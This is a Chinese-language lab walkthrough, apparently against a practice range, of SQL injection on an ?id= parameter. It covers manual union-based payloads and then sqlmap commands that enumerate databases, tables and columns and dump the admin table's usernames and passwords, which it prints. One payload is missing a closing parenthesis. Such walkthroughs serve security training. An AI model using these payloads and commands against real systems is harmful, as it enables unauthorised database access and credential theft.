一、SQL手工注入
1、登录靶场
输入网址:http://pu2lh35s.ia.aqlab.cn/ 或者可以直接点击如下链接跳转宠物猫 异国短毛猫 纯种猫 加菲猫 波斯猫 辛巴猫舍 纯种双色/梵文波斯、异国小猫 CFA注册猫舍
试着点击查看新闻,发现域名后面出现?id=1
说明存在着数据库的交互
那么这里很有可能是注入点,判断判断。
2、判断是否存在SQL注入漏洞
构造and 1=1,发现页面未报错
接着改为 and 1=2
可以发现页面出错,说明存在SQL注入漏洞
3、判断数据库字段数
这里使用order by()函数进行判断
order by()函数会根据后面跟的参数来进行排序
在MySQL语法中,若order by后面的参数超过了列数后将会报错,我们可以利用这一点来判断一共有几个字段。
发现order by1和order by 2均支持,order by 3后页面出错,所以可以判断数据库只有两个字段。
4、判断回显点
回显点是指页面中能显示数据库信息的板块。
我们可以利用联合查询同时查询这两个数据
注意:在MySQL语句中,页面一次只能显示一行查询的内容,而且是先查后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容
于是我们构造语句:?id=1 and 1=2 union select 1,2
回显2,说明第二个数有用
5、查询相关内容
(1)查询表
a、可以先查询一下当前数据库的名字
构造语句:id=1 and 1=2 union select 1,database() #即将2的位置替换成database()
查询到数据库名为:maoshe
b、查询当前数据库所有的表的名字
构造语句:?id=1 and 1=2 union select 1,group_concat(table_name from information_schema.tables where table_schema=database()
其中group_concat()函数是将查询结果放到同一行
查询到四个表:admin,dirs,news,xss
一般关于管理员的信息都在admin表中
(2)查询字段名
查询表admin的列名
构造语句:?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘admin’
查询到三个列,分别是:id、username、password
接下来就可以查询用户名和密码了。
(3)查询字段内容
a、查询登录的用户名
构造语句:?id=1 and 1=2 union select 1,group_concat(username) from admin
查询到登录的用户名:admin
b、查询登陆密码
构造语句:?id=1 and 1=2 union select 1,group_concat(password) from admin
查询到登陆密码:hellohack,zkaqbanban
至此SQL注入的手工注入过程就结束了。
下面介绍一下不用动脑子的sqlmap工具注入
二、Sqlmap工具秒杀
由于手工注入过于的麻烦,所以我们可以利用sqlmap工具进行爆破
1、SQLMap直接爆破链接
可以先把链接直接用SQLMap进行爆破,试试水
语句如下:
# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1"
可以发现出来了些许东西,但没什么用,直接不管
2、查询数据库
在刚刚的语句末尾加上 --dbs 表示查询数据库
# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --dbs
直接出结果:
3、爆破表
上面我们已经查询到了三个数据库,这里爆破maoshe数据库的所有表 --tables
构造语句:
# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe --tables
参数:-D 数据库名 --tables
直接爆破出了数据库的四个表
4、爆破列
爆破表admin的列 --columns
构造语句:
# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns
参数:-D 数据库名 -T 表名 --columns
爆破出三个列,有我们需要的信息:username、password
5、爆破字段
直接爆破用户名和密码 --dump
构造语句:
# sqlmap -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe -T admin -C username,password --dump
参数:-D 数据库名 -T 表名 -C 段名 --dump
直接就爆破出了用户名和密码。
sql注入大体思路:数据库名-->表名-->列名-->段内容
至此试验结束。